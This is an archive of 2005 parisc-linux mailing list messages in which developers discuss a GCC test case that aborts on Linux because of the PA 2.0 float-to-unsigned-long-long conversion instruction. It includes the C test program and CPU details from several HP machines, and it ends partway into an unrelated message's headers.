Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Wed, 13 Jul 2005 22:53:50 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200507140253.j6E2ro4A022061@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623844 15595 80.91.229.3 (22 Nov 2014 02:37:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 02:54:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 14 Jul 2005 04:54:03 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7273E7D64C;
	Wed, 13 Jul 2005 20:53:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01806-01; Wed, 13 Jul 2005 20:53:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 668B87D646;
	Wed, 13 Jul 2005 20:53:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 080DA7D643
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 20:53:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01658-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 20:53:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6AD547D642
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 20:53:52 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6E2ronV022063 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 22:53:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6E2ro4A022061
	for parisc-linux@lists.parisc-linux.org;
	Wed, 13 Jul 2005 22:53:50 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nLanYtBJeSEkT76WZHQhaXN1IGRvb8BC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22906

The enclosed testcase derived from GCC PR 22474 aborts under linux but
not under hpux.  The problem is the following insn:

0x00002930 <f2ull+24>:  fcnv,t,sgl,udw fr22,fr22

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

/* gcc -w -o pr22474 -O0 -march=2.0 -fno-show-column pr22474.c */
unsigned long long
f2ull(float f)
{
  return (unsigned long long int) f;
}

int
main ()
{
  if (f2ull((float) ((~0ULL) >> 1)) != (~0ULL) >> 1 &&  /* 0x7fffffff */
      f2ull((float) ((~0ULL) >> 1)) != ((~0ULL) >> 1) + 1)
    abort();
  return 0;
}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Wed, 13 Jul 2005 23:32:06 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20050714033206.GD4949@roadwarrior.mcmartin.ca>
References: <200507140253.j6E2ro4A022061@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623845 15596 80.91.229.3 (22 Nov 2014 02:37:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 03:33:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 14 Jul 2005 05:33:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51DEF7D64E;
	Wed, 13 Jul 2005 21:33:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02023-04; Wed, 13 Jul 2005 21:33:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD5AF7D652;
	Wed, 13 Jul 2005 21:33:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D5367D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 21:33:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02023-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 21:33:10 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 184977D64C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 21:33:10 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1391C17050;
	Wed, 13 Jul 2005 23:33:09 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01881-07; Wed, 13 Jul 2005 23:32:57 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id A665F1707B; Wed, 13 Jul 2005 23:32:57 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-1933991083-52656d6f746546617454697265-494e424f582e4f7574626f78: 1121311968-0628915873372-v4.0.10
Content-Disposition: inline
In-Reply-To: <200507140253.j6E2ro4A022061@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qLmnYrkKeSEkNb6WZHQhaXN1IGRvbwCm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22907

On Wed, Jul 13, 2005 at 10:53:50PM -0400, John David Anglin wrote:
> The enclosed testcase derived from GCC PR 22474 aborts under linux but
> not under hpux.  The problem is the following insn:
> 
> 0x00002930 <f2ull+24>:  fcnv,t,sgl,udw fr22,fr22
> 

Might this be an insn that is not implemented in hardware, and
correctly being trapped on hpux, but not on Linux? I took a look
in arch/parisc/math-emu, but it's quite a bit more than I can handle. :)

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Wed, 13 Jul 2005 23:56:28 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <200507140356.j6E3uShf022345@hiauly1.hia.nrc.ca>
References: <20050714033206.GD4949@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623845 15598 80.91.229.3 (22 Nov 2014 02:37:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 03:56:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 14 Jul 2005 05:56:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D031C7D67B;
	Wed, 13 Jul 2005 21:56:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02177-08; Wed, 13 Jul 2005 21:56:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B8D27D66E;
	Wed, 13 Jul 2005 21:56:33 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 819EC7D669
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 21:56:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02177-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 21:56:30 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id E5D527D659
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Jul 2005 21:56:29 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j6E3uSnV022346; Wed, 13 Jul 2005 23:56:29 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j6E3uShf022345;
	Wed, 13 Jul 2005 23:56:28 -0400 (EDT)
In-Reply-To: <20050714033206.GD4949@roadwarrior.mcmartin.ca> from "Kyle
	McMartin" at Jul 13, 2005 11:32:06 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IoenYj1eeSEkcL6WZHQhaXN1IGRvb0D7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22908

> On Wed, Jul 13, 2005 at 10:53:50PM -0400, John David Anglin wrote:
> > The enclosed testcase derived from GCC PR 22474 aborts under linux but
> > not under hpux.  The problem is the following insn:
> >=20
> > 0x00002930 <f2ull+24>:  fcnv,t,sgl,udw fr22,fr22
> >=20
> 
> Might this be an insn that is not implemented in hardware, and
> correctly being trapped on hpux, but not on Linux? I took a look
> in arch/parisc/math-emu, but it's quite a bit more than I can handle. :)

That's what I was thinking when I wrote the message.  Under linux,
both the left and right halves of fr22 end up with 0x80000000.  Under
hpux, the left result is 0x80000000 and the right 0.  The only other
explanation is that the c3k fpu has a bug that's not present in an A500
(doubtful).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Thu, 14 Jul 2005 08:29:15 +0200
Lines: 107
Approved: news@gmane.org
Message-ID: <42BAE7C300005798@mail-5-bnl.tiscali.it>
References: <200507140356.j6E3uShf022345@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623845 15600 80.91.229.3 (22 Nov 2014 02:37:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 kyle@mcmartin.ca
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 06:29:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 14 Jul 2005 08:29:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4313F7D66D;
	Thu, 14 Jul 2005 00:29:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02541-07; Thu, 14 Jul 2005 00:29:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3E86A7D673;
	Thu, 14 Jul 2005 00:29:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1F82E7D649
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 00:29:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02401-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 00:29:25 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 390527D641
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 00:29:25 -0600 (MDT)
Original-Received: from 10.39.115.135 by mrq-1 with esmtp (Exim)
	id 1DsxDf-0005HJ-Pp; Thu, 14 Jul 2005 08:29:20 +0200
Original-Received: from [57.67.177.33] by mail-5-bnl.tiscali.it with HTTP;
	Thu, 14 Jul 2005 08:29:15 +0200
In-Reply-To: <200507140356.j6E3uShf022345@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GGOkYn8DeSEkZb6WZHQhaXN1IGRvb0D6
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22909


> -- Original Message --
> To: kyle@mcmartin.ca (Kyle McMartin)
> Date: Wed, 13 Jul 2005 23:56:28 -0400 (EDT)
> From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
> Cc: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long lo=
ng
> 
> 
> > On Wed, Jul 13, 2005 at 10:53:50PM -0400, John David Anglin wrote:
> > > The enclosed testcase derived from GCC PR 22474 aborts under linux
but
> > > not under hpux.  The problem is the following insn:
> > >=3D20
> > > 0x00002930 <f2ull+24>:  fcnv,t,sgl,udw fr22,fr22
> > >=3D20
> > 
> > Might this be an insn that is not implemented in hardware, and
> > correctly being trapped on hpux, but not on Linux? I took a look
> > in arch/parisc/math-emu, but it's quite a bit more than I can handle.=

:)
> 
> That's what I was thinking when I wrote the message.  Under linux,
> both the left and right halves of fr22 end up with 0x80000000.  Under
> hpux, the left result is 0x80000000 and the right 0.  The only other
> explanation is that the c3k fpu has a bug that's not present in an A500=

> (doubtful).
> 
No: here same 
 # ./pr22474 
Aborted

on n4k, b2k and d380 runing respectively: 2.6.12-pa2-n4ksmp, 2.6.11.12-pa=
4-b2k32,
2.6.12-pa1-d32up.

with cpu:
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 550.000000
model           : 9000/800/N4000-55
model name      : Unknown machine
hversion        : 0x00005d30
sversion        : 0x00000491
I-cache         : 512 KB
D-cache         : 1024 KB (WB, 0-way associative)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 1093.63
software id     : 664309341
[x2]

# cat /proc/cpuinfo 
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8600 (PCX-W+)
cpu MHz         : 400.000000
model           : 9000/785/B2000
model name      : Kazoo W+
hversion        : 0x00005d00
sversion        : 0x00000481
I-cache         : 512 KB
D-cache         : 1024 KB (WB, 0-way associative)
ITLB entries    : 160
DTLB entries    : 160 - shared with ITLB
bogomips        : 796.67
software id     : 2011773200

# cat /proc/cpuinfo 
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8000 (PCX-U)
cpu MHz         : 180.000000
model           : 9000/820/D380
model name      : UL proc 2-way U180 1M/1M
hversion        : 0x00005aa0
sversion        : 0x00000491
I-cache         : 1024 KB
D-cache         : 1024 KB (WB, 0-way associative)
ITLB entries    : 96
DTLB entries    : 96 - shared with ITLB
BTLB            : not supported
bogomips        : 359.62
software id     : 2005347373

either compiled with (debian testing) gcc-3.3.5 or new (debian unstable d=
efault)
gcc-4.0.1

(unfortunately I don't have any place where I could install gcc on pa-2.0=

arch :-( )

Hth,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debian sarge netinstall hangs after first boot on
	b132l
Date: Thu, 14 Jul 2005 17:56:35 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <42D6FBB3.1030003@excelcia.org>
References: <42BAE85600005DFE@mail-6-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623846 15604 80.91.229.3 (22 Nov 2014 02:37:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:26 +0000 (UTC)
To: Joel Soete <soete.joel@tiscali.be>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jul 2005 23:56:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 15 Jul 2005 01:56:46 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D4407D6A8;
	Thu, 14 Jul 2005 17:56:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09558-10; Thu, 14 Jul 2005 17:56:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 728797D6A9;
	Thu, 14 Jul 2005 17:56:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 165ED7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 17:56:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09558-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 17:56:38 -0600 (MDT)
Original-Received: from pd4mo3so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 61D937D6A0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 14 Jul 2005 17:56:38 -0600 (MDT)
Original-Received: from pd3mr4so.prod.shaw.ca
	(pd3mr4so-qfe3.prod.shaw.ca [10.0.141.180]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0IJN007JH6ID2N80@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 14 Jul 2005 17:56:37 -0600 (MDT)
Original-Received: from pn2ml1so.prod.shaw.ca ([10.0.121.145])
	by pd3mr4so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0IJN00LYL6IDU830@pd3mr4so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 14 Jul 2005 17:56:37 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0IJN00E8U6IC05@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Thu, 14 Jul 2005 17:56:37 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id j6ENuaAQ014104;
	Thu, 14 Jul 2005 17:56:36 -0600
In-reply-to: <42BAE85600005DFE@mail-6-bnl.tiscali.it>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
